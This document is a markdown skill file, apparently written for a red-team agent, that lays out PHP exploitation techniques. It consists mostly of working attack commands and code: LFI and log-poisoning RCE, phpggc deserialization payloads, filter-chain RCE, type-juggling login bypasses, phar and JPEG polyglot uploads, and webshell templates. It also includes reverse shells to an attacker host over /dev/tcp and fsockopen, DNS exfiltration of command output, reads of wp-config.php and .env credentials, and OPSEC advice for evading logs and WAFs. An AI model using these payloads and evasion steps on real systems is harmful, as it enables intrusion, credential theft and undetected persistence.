---
name: rt-exploit-php
description: "PHP exploitation skill. Covers PHP deserialization attacks with phpggc gadget chains, LFI/RFI (Local/Remote File Inclusion), PHP filter chains for RCE without file write, PHP type juggling (loose comparison bypass), magic hash collisions, webshell upload and execution, and eval() injection. Targets PHP applications, WordPress, Laravel, CodeIgniter, Drupal."
---

# rt-exploit-php — PHP Exploitation Skill

## 1. Overview and When to Use

PHP remains one of the most deployed server-side languages on the internet, and its legacy codebases, permissive defaults, and complex type system make it a consistent source of critical vulnerabilities on engagements.

Use this skill when:
- Target runs a PHP application (WordPress, Laravel, Drupal, CodeIgniter, Joomla, Magento, custom apps)
- You have identified file inclusion parameters (`?page=`, `?file=`, `?template=`, `?lang=`)
- Application accepts serialized data (cookies, POST bodies, hidden fields containing base64-encoded PHP objects)
- You have file upload functionality with inadequate validation
- Login or comparison logic uses `==` instead of `===` (type juggling opportunities)
- You have read access to log files or `/proc/self/environ` (LFI to RCE via poisoning)
- You have found an `eval()`, `assert()`, `preg_replace()` with `/e` modifier, or `create_function()` call
- Source code review reveals unsafe deserialization with `unserialize()` on user-controlled input

### Attack Surface Map

```
PHP Application
├── Deserialization          → phpggc gadget chains → RCE
├── File Inclusion (LFI/RFI) → Log Poisoning, PHP Filter Chains → RCE
├── PHP Filter Chains        → RCE without file write (php://filter)
├── Type Juggling            → Auth bypass, hash collisions
├── File Upload              → Webshell → RCE
└── eval() / assert()        → Direct code injection → RCE
```

---

## 2. Prerequisites and Setup

### Required Tools

```bash
# phpggc — PHP Gadget Chains for unserialize() exploitation
git clone https://github.com/ambionics/phpggc.git
cd phpggc && chmod +x phpggc

# php_filter_chain_generator — RCE via PHP filter chains (no file write needed)
git clone https://github.com/synacktiv/php_filter_chain_generator.git

# Burp Suite or mitmproxy — intercept and replay requests
# ffuf or gobuster — path/parameter fuzzing
sudo apt install ffuf gobuster

# curl, python3 — payload delivery and listener setup
# pwncat-cs or netcat — reverse shell handlers
pip3 install pwncat-cs

# PHP CLI (local) — for serialization payload crafting
sudo apt install php php-cli

# wfuzz — parameter fuzzing
pip3 install wfuzz

# weevely — advanced PHP webshell management
pip3 install weevely
```

### Environment Variables (Set at Engagement Start)

```bash
export TARGET="http://target.com"
export LHOST="10.10.14.5"       # Your VPN/tun0 IP
export LPORT="4444"
export WORDLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt"
```

### Verify phpggc Installation

```bash
cd ~/tools/phpggc
./phpggc --list
# Should output list of gadget chains (Laravel, Symfony, Drupal, etc.)
```

---

## 3. Skill Levels

### BEGINNER — Reconnaissance and Basic LFI

Goals: Identify PHP app, confirm LFI, read sensitive files.

```bash
# Identify PHP via headers and extensions
curl -I $TARGET | grep -i "x-powered-by\|php\|server"

# Check for LFI in common parameters
ffuf -u "$TARGET/index.php?page=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -fc 200 -fs 0 -mc all

# Basic LFI confirmation — read /etc/passwd
curl "$TARGET/index.php?page=../../../../etc/passwd"
curl "$TARGET/index.php?file=....//....//....//etc/passwd"
curl "$TARGET/index.php?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd"

# PHP wrappers for source disclosure
curl "$TARGET/index.php?page=php://filter/convert.base64-encode/resource=index.php" | \
  grep -oP '[A-Za-z0-9+/=]{20,}' | head -1 | base64 -d

# Read /etc/hosts, /proc/self/environ, /proc/self/cmdline
curl "$TARGET/index.php?page=/proc/self/environ"
curl "$TARGET/index.php?page=/proc/self/cmdline" | tr '\0' ' '
```

---

### INTERMEDIATE — LFI to RCE, Filter Chains, Type Juggling

Goals: Escalate LFI to code execution, bypass authentication.

```bash
# Log poisoning via SSH auth log
# 1. Inject PHP into SSH username
ssh '<?php system($_GET["cmd"]); ?>'@$TARGET 2>/dev/null
# 2. Include the auth log
curl "$TARGET/index.php?page=/var/log/auth.log&cmd=id"

# Log poisoning via Apache access log
# 1. Inject PHP payload in User-Agent
curl -A '<?php system($_GET["cmd"]); ?>' $TARGET
# 2. Include Apache log file
curl "$TARGET/index.php?page=/var/log/apache2/access.log&cmd=id"
curl "$TARGET/index.php?page=/proc/self/fd/1&cmd=id"   # try fd/0 through fd/20

# PHP filter chain RCE (no file write needed)
cd ~/tools/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
# Copy the generated filter chain, then:
curl "$TARGET/index.php?page=<FILTER_CHAIN_OUTPUT>&cmd=id"

# Type juggling — bypass loose string comparison
# "0e" magic hashes — MD5 collisions treated as 0 in scientific notation
# If app does: if (md5($input) == "0e...") → pass any 0e hash value
# Known magic hashes (MD5):
#   240610708       → 0e462097431906509019562988736854
#   QNKCDZO         → 0e830400451993494058024219903391
#   aabg74fxm05     → 0e545993274517709034328855841020
curl -d "password=240610708" "$TARGET/login.php"

# SHA1 magic hashes:
#   aaroZmOk        → 0e66507019969427134894567494305185566735
#   aaK1STfY        → 0e76658526655756207688271159624026011393

# Array bypass for hash_equals / strcmp
curl -d "password[]=anything" "$TARGET/login.php"  
# strcmp(array, string) returns NULL which == 0 → true in loose comparison

# JSON type juggling — if JSON decoded and compared loosely
# {"password": true}  → true == "anystring" is true in PHP
```

---

### ADVANCED — Deserialization with phpggc, Phar Archives

Goals: Achieve RCE via object injection and gadget chains.

```bash
# List available gadget chains
./phpggc --list
./phpggc --list | grep -i "laravel\|symfony\|drupal\|wordpress"

# Generate a deserialization payload — raw serialized object
./phpggc Laravel/RCE1 system id

# Generate base64-encoded payload
./phpggc -b Laravel/RCE1 system 'id'

# Generate URL-encoded payload
./phpggc -u Laravel/RCE1 system 'id'

# Generate payload for reverse shell
./phpggc -b Laravel/RCE6 system \
  "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# Inject into cookie
PAYLOAD=$(./phpggc -b Laravel/RCE1 system 'id')
curl -b "laravel_session=$PAYLOAD" $TARGET/dashboard

# Inject into POST body
curl -d "data=$(./phpggc -u Symfony/RCE4 system 'whoami')" $TARGET/api/endpoint

# Phar deserialization — trigger unserialize via file operations
# Requires: file upload + any file operation on uploaded file (file_exists, is_file, etc.)

# 1. Create malicious phar archive
cat > create_phar.php << 'EOF'
<?php
class EvilClass {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new EvilClass();
$o->cmd = "bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'";
$phar->setMetadata($o);
$phar->stopBuffering();
rename("evil.phar", "evil.jpg");  // Disguise as image
EOF
php create_phar.php

# 2. Upload evil.jpg to target
curl -F "file=@evil.jpg" $TARGET/upload.php

# 3. Trigger phar deserialization via any file function
curl "$TARGET/check.php?file=phar:///var/www/html/uploads/evil.jpg"

# WordPress-specific deserialization
./phpggc WordPress/RCE1 system 'whoami'
./phpggc -b WordPress/RCE2 system 'id'

# Drupal deserialization (SA-CORE-2019-003 style)
./phpggc -b Drupal7/RCE1 system 'id'
```

---

### EXPERT — Chained Exploits, Blind Techniques, Framework Internals

Goals: Exploit without direct output, chain multiple vulnerabilities, bypass WAF.

```bash
# Blind RCE via DNS exfiltration (no output in response)
./phpggc -b Laravel/RCE6 system \
  "curl http://\$(id | tr ' ' '_').burpcollaborator.net"

# Blind RCE via time delay
./phpggc -b Laravel/RCE6 system "sleep 5"
# Measure response time difference

# PHP filter chain — generate RCE payload for specific PHP version compatibility
python3 php_filter_chain_generator.py \
  --chain '<?php $sock=fsockopen("'"$LHOST"'",'"$LPORT"');exec("/bin/sh -i <&3 >&3 2>&3");?>'

# Multi-wrapper LFI bypass techniques
# Null byte (PHP < 5.3.4)
curl "$TARGET/?page=../../../../etc/passwd%00"
# Path truncation (old PHP)
curl "$TARGET/?page=../../../../etc/passwd........................................................................................................................................................................................................................................."

# RFI with data:// wrapper
curl "$TARGET/?page=data://text/plain,<?php system('id'); ?>"
curl "$TARGET/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="

# LFI via zip:// (if zip upload possible)
zip -j shell.zip shell.php
curl -F "file=@shell.zip" $TARGET/upload
curl "$TARGET/?page=zip:///var/www/html/uploads/shell.zip%23shell"

# RFI via expect:// (if expect module loaded)
curl "$TARGET/?page=expect://id"

# phpggc with HMAC signing bypass — for frameworks that sign serialized data
# Laravel: forge the app key if obtained from .env
# If APP_KEY is found: base64:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
./phpggc Laravel/RCE6 -b system id | \
  python3 -c "
import sys, base64, hashlib, hmac
key = base64.b64decode('YOUR_BASE64_APP_KEY')
payload = sys.stdin.read().strip()
payload_bytes = base64.b64decode(payload)
iv = b'\\x00' * 16
import os; iv = os.urandom(16)
import json
data = base64.b64encode(payload_bytes).decode()
mac = hmac.new(key, (base64.b64encode(iv) + data.encode()), hashlib.sha256).hexdigest()
print(base64.b64encode(json.dumps({'iv': base64.b64encode(iv).decode(), 'value': data, 'mac': mac}).encode()).decode())
"

# WordPress cookie forgery + deserialization
# If you have WordPress secret keys from wp-config.php:
# Forge auth cookie with malicious serialized user object

# Identify eval() sinks via source code grep
grep -rn "eval\s*(" /var/www/html/ 2>/dev/null
grep -rn "assert\s*(" /var/www/html/ 2>/dev/null
grep -rn "preg_replace.*\/e" /var/www/html/ 2>/dev/null
grep -rn "create_function" /var/www/html/ 2>/dev/null
grep -rn "call_user_func" /var/www/html/ 2>/dev/null
```

---

## 4. Step-by-Step Numbered Workflow

### Phase 1: Fingerprint and Enumerate

1. **Identify PHP version and framework**
   ```bash
   curl -sI $TARGET | grep -i "x-powered-by\|server\|php"
   whatweb $TARGET
   wappalyzer-cli $TARGET  # or check via browser extension
   ```

2. **Enumerate PHP-specific paths**
   ```bash
   gobuster dir -u $TARGET \
     -w /usr/share/seclists/Discovery/Web-Content/PHP.fuzz.txt \
     -x php,php5,php7,phtml,phar \
     -o gobuster_php.txt
   ```

3. **Find file inclusion parameters**
   ```bash
   ffuf -u "$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -e .php -mc 200,301,302,403
   
   # Fuzz parameter names for LFI
   ffuf -u "$TARGET/index.php?FUZZ=../../../../etc/passwd" \
     -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -fr "No input file specified" -mr "root:x:"
   ```

4. **Check for serialized data in cookies and requests**
   ```bash
   # Look for base64 in cookies
   curl -v $TARGET 2>&1 | grep -i "set-cookie"
   # Decode and inspect
   echo "COOKIE_VALUE" | base64 -d | xxd | head -5
   # PHP serialized objects start with: O:, a:, s:, i:, b:
   ```

5. **Source code discovery (if accessible)**
   ```bash
   # Try common backup files
   for ext in .bak .old .orig .backup ~; do
     curl -so /dev/null -w "%{http_code} $TARGET/index.php$ext\n" "$TARGET/index.php$ext"
   done
   # phpinfo() exposure
   curl "$TARGET/phpinfo.php" | grep -i "php version\|allow_url_include\|disable_functions"
   ```

### Phase 2: Confirm Vulnerability

6. **Confirm LFI**
   ```bash
   curl "$TARGET/index.php?page=../../../../etc/passwd" | grep "root:x:"
   curl "$TARGET/index.php?page=php://filter/convert.base64-encode/resource=config.php" | \
     base64 -d
   ```

7. **Confirm deserialization**
   ```bash
   # Send a crafted serialized string and look for errors that reveal class names
   curl -b "data=O:1:\"a\":0:{}" $TARGET/
   # PHP will throw: Class "a" not found — confirms unserialize() is called
   ```

8. **Confirm type juggling**
   ```bash
   # Test login with magic hash values
   curl -d "user=admin&pass=240610708" $TARGET/login.php -L -c cookies.txt
   curl -b cookies.txt $TARGET/admin/
   ```

### Phase 3: Exploit and Achieve RCE

9. **Set up listener**
   ```bash
   pwncat-cs -lp $LPORT
   # or
   nc -nlvp $LPORT
   ```

10. **Execute payload delivery** (see scenarios below)

11. **Upgrade shell**
    ```bash
    # Inside reverse shell:
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    # Ctrl+Z
    stty raw -echo; fg
    ```

### Phase 4: Post-Exploitation and Documentation

12. **Capture evidence**
    ```bash
    id; whoami; hostname; cat /etc/passwd; ip a
    # Screenshot or log all output
    ```

13. **Identify further pivot points**
    ```bash
    cat /var/www/html/wp-config.php 2>/dev/null
    cat /var/www/html/.env 2>/dev/null
    find /var/www -name "*.conf" -o -name "config.php" 2>/dev/null
    ```

---

## 5. Actual Working Terminal Commands

### phpggc Command Reference

```bash
# List all chains for a specific framework
./phpggc --list | grep -i symfony
./phpggc --list | grep -i laravel
./phpggc --list | grep -i wordpress
./phpggc --list | grep -i drupal
./phpggc --list | grep -i guzzle

# Show details about a specific chain (what it needs, what it does)
./phpggc -i Laravel/RCE1

# Generate payload — plain serialized
./phpggc Laravel/RCE1 system 'id'

# Generate payload — base64 encoded (for cookie injection)
./phpggc -b Laravel/RCE1 system 'id'

# Generate payload — URL encoded
./phpggc -u Laravel/RCE1 system 'id'

# Generate payload — JSON encoded
./phpggc -j Laravel/RCE1 system 'id'

# Generate payload — gzip + base64 (some frameworks expect this)
./phpggc -z -b Laravel/RCE1 system 'id'

# Reverse shell payload
./phpggc -b Laravel/RCE6 system \
  "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# Write webshell to disk (if gadget supports file_put_contents)
./phpggc -b Laravel/FD1 file_put_contents \
  '/var/www/html/shell.php' '<?php system($_GET["c"]); ?>'

# Symfony chains
./phpggc Symfony/RCE1 system 'id'
./phpggc Symfony/RCE4 system 'id'    # Commonly works on Symfony 3.x

# Guzzle (often found in Laravel/Symfony via Composer)
./phpggc Guzzle/RCE1 system 'id'
./phpggc Guzzle/RCE2 system 'id'

# Monolog (logging library — widespread)
./phpggc Monolog/RCE1 system 'id'
./phpggc Monolog/RCE2 system 'id'

# Slim framework
./phpggc Slim/RCE1 system 'id'

# Yii framework
./phpggc Yii/RCE1 system 'id'

# Deliver via HTTP
PAYLOAD=$(./phpggc -b Laravel/RCE6 system 'id')
curl -H "Cookie: laravel_session=$PAYLOAD" $TARGET/
curl -d "token=$PAYLOAD" $TARGET/api/restore
```

### PHP Filter Chain Generator

```bash
cd ~/tools/php_filter_chain_generator

# Generate chain for a simple command
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

# Generate for a specific string (smaller payload)
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'

# Use the output
CHAIN=$(python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>' | tail -1)
curl "$TARGET/index.php?page=$CHAIN&cmd=id"
curl "$TARGET/index.php?page=$CHAIN&cmd=whoami"
curl "$TARGET/index.php?page=$CHAIN&cmd=cat+/etc/passwd"

# Reverse shell via filter chain
CHAIN=$(python3 php_filter_chain_generator.py \
  --chain "<?php system('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'); ?>" | tail -1)
curl "$TARGET/index.php?page=$CHAIN"
```

### Log Poisoning Commands

```bash
# Via User-Agent injection into Apache logs
curl -A '<?php system($_GET["c"]); ?>' $TARGET/
curl "$TARGET/index.php?page=/var/log/apache2/access.log&c=id"

# Common Apache log locations
# /var/log/apache2/access.log
# /var/log/httpd/access_log        (CentOS/RHEL)
# /var/log/apache/access.log
# /proc/self/fd/1  (stdout — sometimes captures request headers)

# Via nginx log
curl -A '<?php system($_GET["c"]); ?>' $TARGET/
curl "$TARGET/index.php?page=/var/log/nginx/access.log&c=id"

# Via SSH auth log
ssh '<?php system($_GET["c"]); ?>'@$TARGET 2>/dev/null
curl "$TARGET/index.php?page=/var/log/auth.log&c=id"
curl "$TARGET/index.php?page=/var/log/secure&c=id"  # CentOS/RHEL

# Via mail log (if sendmail configured)
telnet $TARGET 25
MAIL FROM: test@test.com
RCPT TO: <?php system($_GET['c']); ?>
curl "$TARGET/index.php?page=/var/log/mail.log&c=id"

# /proc/self/environ (if accessible)
curl -H 'User-Agent: <?php system($_GET["c"]); ?>' $TARGET/
curl "$TARGET/index.php?page=/proc/self/environ&c=id"
```

---

## 6. Payload Examples with Explanations

### PHP Deserialization Object Payload (Manual Craft)

```php
<?php
// If target class has __wakeup() or __destruct() that executes code:
class EvilLogger {
    public $command = "id";
    
    function __destruct() {
        system($this->command);   // Triggered on object destruction
    }
}

// Manually serialize
$obj = new EvilLogger();
$obj->command = "bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'";
echo serialize($obj);
// Output: O:10:"EvilLogger":1:{s:7:"command";s:52:"bash -c ...";}
?>
```

Explanation: When the target calls `unserialize()` on attacker-controlled data, PHP reconstructs the object and calls magic methods (`__wakeup`, `__destruct`, `__toString`) automatically. The gadget chain exploits existing classes in the application's codebase (not custom classes).

### PHP Filter Chain Mechanism (Explained)

```
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|
convert.iconv.UTF8.UTF7|convert.iconv.UTF8.BASE64|.../resource=/dev/null
```

How it works:
1. PHP filter chains apply transformations sequentially
2. Each `convert.iconv.*` transformation encodes/decodes byte sequences
3. By carefully choosing encoding conversions, arbitrary bytes can be generated
4. These bytes are assembled to form a valid PHP payload (`<?php system(...); ?>`)
5. The final resource is `/dev/null` — no file write needed, the payload IS the filter chain
6. PHP evaluates the generated bytes as PHP code when included via `include()`

### Type Juggling Payload Table

| Attack | Vulnerable Code | Bypass Value |
|--------|----------------|--------------|
| MD5 magic hash | `md5($pass) == "0e..."` | `240610708` or `QNKCDZO` |
| SHA1 magic hash | `sha1($pass) == "0e..."` | `aaroZmOk` or `aaK1STfY` |
| strcmp bypass | `strcmp($a, $b) == 0` | Pass array: `pass[]=x` |
| JSON bool | `$data->auth == "secret"` | `{"auth": true}` |
| Type coercion | `$val == 0` | `"nonNumericString"` → 0 |
| Null byte | `strpos($a,$b) == false` | String containing `\x00` at pos 0 |
| Array loose eq | `$arr == "string"` | PHP 7: false, PHP 5: true |

```bash
# strcmp bypass via HTTP parameter array
curl -d "password[]=arbitrary" $TARGET/login.php

# JSON boolean bypass
curl -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}' \
  $TARGET/api/login
```

### Webshell Templates

```php
<!-- Minimal one-liner webshell -->
<?php system($_GET['c']); ?>

<!-- POST-based webshell (harder to detect in logs) -->
<?php system($_POST['c']); ?>

<!-- Eval-based (obfuscated) -->
<?php @eval(base64_decode($_POST['c'])); ?>

<!-- Featureful webshell — command + file read -->
<?php
if(isset($_REQUEST['c'])) {
    $cmd = $_REQUEST['c'];
    echo '<pre>';
    system($cmd);
    echo '</pre>';
}
if(isset($_REQUEST['f'])) {
    echo '<pre>' . htmlspecialchars(file_get_contents($_REQUEST['f'])) . '</pre>';
}
?>

<!-- Reverse shell trigger webshell -->
<?php
$ip = '10.10.14.5';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

<!-- Weevely-style encrypted channel webshell (generate with weevely) -->
# weevely generate mypassword /tmp/shell.php
# weevely http://target.com/shell.php mypassword
```

### eval() Injection Payloads

```bash
# Direct eval injection — if parameter is passed to eval()
curl "$TARGET/vuln.php?code=system('id');"

# assert() injection (PHP < 8.0, assert() evaluates strings)
curl "$TARGET/vuln.php?page=assert('system(\"id\")')"
curl "$TARGET/index.php?page=assert(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(105).chr(100).chr(39).chr(41))"

# preg_replace with /e modifier (PHP < 7.0)
# If code does: preg_replace('/' . $pattern . '/e', $replacement, $subject)
curl "$TARGET/vuln.php?pat=.&rep=system('id')"

# create_function injection (deprecated PHP 7.2, removed PHP 8.0)
# If code does: $fn = create_function('', $userInput);
curl "$TARGET/vuln.php?code=system('id');//"
```

---

## 7. Tool Commands with Flags Explained

### phpggc Flag Reference

```
./phpggc [options] <GadgetChain> [function] [argument]

Options:
  -l, --list              List all available gadget chains
  -i, --info <chain>      Show chain details (PHP version, requirements)
  -b, --base64            Base64-encode the output
  -u, --url-encode        URL-encode the output
  -j, --json              JSON-encode the output
  -z, --gzip              gzip the payload before encoding
  -w, --write             Write payload to file instead of stdout
  -p, --phar <file>       Generate a PHAR archive with the payload as metadata
      --phar-jpg          Generate PHAR inside a valid JPEG (for image upload bypass)
      --phar-tar          Generate PHAR inside a valid TAR archive
  -s, --soft-exception    Don't error if chain doesn't exist, try similar
  -a, --ascii-strings     Avoid non-ASCII in strings (WAF bypass)
  -n, --no-header         Omit the <?php header in phar stubs
  -f, --fast-destruct     Force immediate __destruct execution
      --leak              Use leak gadgets (e.g., for Blind SQLi via gadget)

Examples:
./phpggc -i Symfony/RCE4                        # Show chain info
./phpggc -b Monolog/RCE1 system id              # Base64 encoded RCE
./phpggc -p evil.phar Laravel/RCE1 system id    # PHAR with metadata
./phpggc --phar-jpg evil.jpg Laravel/RCE1 system id  # JPEG+PHAR polyglot
./phpggc -f -b Laravel/RCE9 system id           # Force immediate destruct
```

### php_filter_chain_generator Flag Reference

```
python3 php_filter_chain_generator.py [options]

Options:
  --chain '<php_code>'    PHP code to encode into the filter chain
                          Tip: keep it short — longer chains = longer URLs
                          Use a simple stager: <?php system($_GET["c"]); ?>
  --rawbase64 <b64>       Provide raw base64 instead of PHP code
  --file <file>           Read PHP code from file

Output:
  Prints the complete php://filter/... chain to stdout
  Last line is the full chain — pipe with | tail -1 to capture it

Tips:
  - Prepend php://filter/ to the chain when injecting into LFI param
  - Some apps strip php:// — try encoding: php%3A%2F%2F
  - Chain length can exceed 10,000 chars — use POST if GET truncates
```

### weevely Command Reference

```bash
# Generate stealth webshell
weevely generate <password> /path/to/shell.php

# Connect to deployed webshell
weevely http://target.com/uploads/shell.php <password>

# Execute command
weevely http://target.com/uploads/shell.php <password> -c 'id'

# Once in weevely session:
:help                          # Show all modules
:file_read /etc/passwd         # Read files
:file_upload localfile.txt /tmp/remote.txt  # Upload files
:sql_console                   # Interactive SQL console
:net_scan 192.168.1.0/24 80 443  # Network scan from pivot
:backdoor_reversetcp $LHOST $LPORT  # Upgrade to full reverse shell
:audit_filesystem              # Find writable directories
```

### ffuf for PHP Parameter/LFI Fuzzing

```bash
# Fuzz parameter names
ffuf -u "$TARGET/index.php?FUZZ=../../../../etc/passwd" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mr "root:x:" \          # Match response body regex
  -ac                       # Auto-calibrate (filter false positives)

# Fuzz LFI paths
ffuf -u "$TARGET/index.php?page=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
  -mr "root:x:\|nobody:" \
  -fs 0                     # Filter empty responses

# Fuzz file extensions for upload bypass
ffuf -u "$TARGET/upload.php" \
  -X POST \
  -F "file=@shell.FUZZ;type=image/jpeg" \
  -F "submit=Upload" \
  -w /usr/share/seclists/Fuzzing/extensions-most-popular.fuzz.txt \
  -mr "uploaded\|success"
```

---

## 8. Real-World Attack Scenarios

### Scenario 1: Laravel Application — Deserialization via Encrypted Cookie

**Context:** Laravel web app, login page, valid credentials obtained or not needed. Cookie contains encrypted+serialized session data. `APP_KEY` discovered in `.env` via misconfigured backup file (`/.env.bak`).

**Steps:**

```bash
# 1. Discover the .env file
curl -s $TARGET/.env | grep APP_KEY
# APP_KEY=base64:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=

# 2. Check installed gadget chains for Laravel
./phpggc --list | grep Laravel

# 3. Identify which Laravel version is running
curl -s $TARGET/composer.json 2>/dev/null | grep '"laravel/framework"'
# or check error pages, README, or admin panel

# 4. Generate the RCE payload using the correct chain
./phpggc -b Laravel/RCE9 system 'id'
# Laravel/RCE9 targets Illuminate Queue — works on Laravel 5.5-8.x

# 5. For authenticated Laravel apps, the payload must be encrypted with APP_KEY
# Use phpggc with --encrypt flag if supported, or use a custom script:
php -r "
\$key = base64_decode(substr('base64:YOUR_APP_KEY_HERE', 7));
\$payload = base64_decode('PHPGGC_BASE64_OUTPUT');
\$iv = random_bytes(16);
\$value = base64_encode(openssl_encrypt(\$payload, 'AES-256-CBC', \$key, 0, \$iv));
\$mac = hash_hmac('sha256', base64_encode(\$iv) . \$value, \$key);
echo base64_encode(json_encode(['iv' => base64_encode(\$iv), 'value' => \$value, 'mac' => \$mac]));
"

# 6. Set the forged cookie and trigger
curl -b "laravel_session=FORGED_ENCRYPTED_PAYLOAD" $TARGET/home

# 7. Alternatively, if unserialize() is called on raw user input (not encrypted):
PAYLOAD=$(./phpggc -b Laravel/RCE1 system 'id')
curl -d "token=$PAYLOAD" $TARGET/api/restore-session

# 8. Start listener and deliver reverse shell
pwncat-cs -lp 4444 &
PAYLOAD=$(./phpggc -b Laravel/RCE6 system \
  "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'")
curl -d "token=$PAYLOAD" $TARGET/api/restore-session
```

---

### Scenario 2: WordPress Plugin — LFI → PHP Filter Chain RCE

**Context:** WordPress site, vulnerable plugin with LFI in `?template=` parameter. Server is nginx with `allow_url_include=Off`. No log files accessible. Direct RCE via filter chains.

```bash
# 1. Discover LFI
wpscan --url $TARGET --enumerate p --plugins-detection aggressive
# Found: Custom-Template-Plugin v1.2 — vulnerable to LFI in ?template=

# 2. Confirm LFI
curl "$TARGET/?template=../../../../etc/passwd" | grep root

# 3. Attempt log poisoning (fails — no log access)
curl "$TARGET/?template=/var/log/nginx/access.log"  # 403 or empty

# 4. Attempt phpinfo() for allow_url_include check
curl "$TARGET/?template=php://filter/convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini" | \
  grep -oP '[A-Za-z0-9+/=]{100,}' | base64 -d | grep "allow_url_include"
# allow_url_include = Off — RFI not possible

# 5. Use PHP filter chain to achieve RCE without any prerequisites
cd ~/tools/php_filter_chain_generator
CHAIN=$(python3 php_filter_chain_generator.py \
  --chain '<?php system($_GET["cmd"]); ?>' | tail -1)

# 6. Test RCE
curl -g "$TARGET/?template=$CHAIN&cmd=id"
# Response will contain: uid=33(www-data) gid=33(www-data)

# 7. Read wp-config.php for database credentials
curl -g "$TARGET/?template=$CHAIN&cmd=cat+/var/www/html/wp-config.php" | \
  grep -i "db_pass\|db_name\|db_user"

# 8. Upgrade to reverse shell
pwncat-cs -lp $LPORT &
REVSHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
CHAIN=$(python3 php_filter_chain_generator.py \
  --chain "<?php system('$REVSHELL'); ?>" | tail -1)
curl -g "$TARGET/?template=$CHAIN"
```

---

### Scenario 3: Custom PHP App — Type Juggling Auth Bypass + File Upload RCE

**Context:** Custom PHP login portal. Source code partially leaked via `.php.bak` file. Login checks `md5($password) == $storedHash`. After login, file upload restricted to images but only checks extension.

```bash
# 1. Download the leaked source
curl $TARGET/login.php.bak -o login.php.bak
grep -i "md5\|==\|strcmp" login.php.bak
# Found: if (md5($password) == $row['password_hash'])

# 2. Check stored hash — extract via another vuln or find in DB dump
# Hash starts with "0e" — magic hash attack applies
# Example stored hash: 0e462097431906509019562988736854

# 3. Any MD5 "0e..." input will bypass — use known magic string
curl -c cookies.txt -d "username=admin&password=240610708" \
  -L $TARGET/login.php
curl -b cookies.txt $TARGET/admin/  # Confirm access

# 4. Analyze upload handler
curl $TARGET/upload.php.bak -o upload.php.bak
grep -i "extension\|type\|mime\|move_uploaded" upload.php.bak
# Found: checks only file extension in original filename

# 5. Create PHP webshell disguised as image
cp /var/www/html/legit.jpg shell.php.jpg
# Or create a polyglot: valid JPEG header + PHP code
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["c"]); ?>' >> shell.php.jpg

# 6. Upload the file
curl -b cookies.txt \
  -F "file=@shell.php.jpg;filename=shell.php.jpg;type=image/jpeg" \
  $TARGET/admin/upload.php

# 7. Find upload directory and trigger
curl -b cookies.txt $TARGET/admin/upload.php -v | grep -i "upload\|path\|filename"
curl "$TARGET/uploads/shell.php.jpg?c=id"
# or if server doesn't execute .jpg:
# Rename via second request if upload allows it
curl "$TARGET/uploads/shell.php.jpg?c=cp+/var/www/html/uploads/shell.php.jpg+/var/www/html/uploads/shell.php"
curl "$TARGET/uploads/shell.php?c=id"

# 8. Full reverse shell
pwncat-cs -lp $LPORT &
curl "$TARGET/uploads/shell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261'"
```

---

## 9. Detection and OPSEC Considerations

### Forensic Artifacts Generated

| Technique | Artifacts Left | Mitigation |
|-----------|---------------|------------|
| Log poisoning | PHP code in log files | Clean up (if root), use short payloads |
| phpggc deserialization | Error logs with class names | Send to /dev/null, suppress errors |
| Filter chain RCE | Extremely long URLs in access logs | Use POST body, not GET |
| Webshell upload | File on disk with PHP code | Use weevely (encrypted channel), delete after |
| eval() injection | Raw PHP in request parameters | Base64 encode payload |
| LFI path traversal | `../../../../` in access logs | URL encode traversal sequences |

### OPSEC Best Practices

```bash
# 1. Use POST instead of GET for payloads — less likely to be in URL logs
curl -X POST -d "page=$(python3 php_filter_chain_generator.py --chain '<?php system($_POST["c"]); ?>' | tail -1)" \
  -d "c=id" $TARGET/index.php

# 2. Suppress PHP errors to avoid detection in error logs
# Prefix payload with @ or use error_reporting(0)
<?php error_reporting(0); system($_GET['c']); ?>

# 3. Use time-based blind execution for maximum stealth
# — sends no output, only delays response
<?php if(isset($_GET['t'])) { sleep(5); } ?>
# Measure response time vs baseline

# 4. Encode payloads to avoid WAF signature matching
# Hex encoding
<?php system(hex2bin('6964')); ?>  # 'id' in hex

# Base64 decoding
<?php system(base64_decode('aWQ=')); ?>

# Variable variable technique
<?php $_=base64_decode('c3lzdGVt'); $_($_GET['c']); ?>

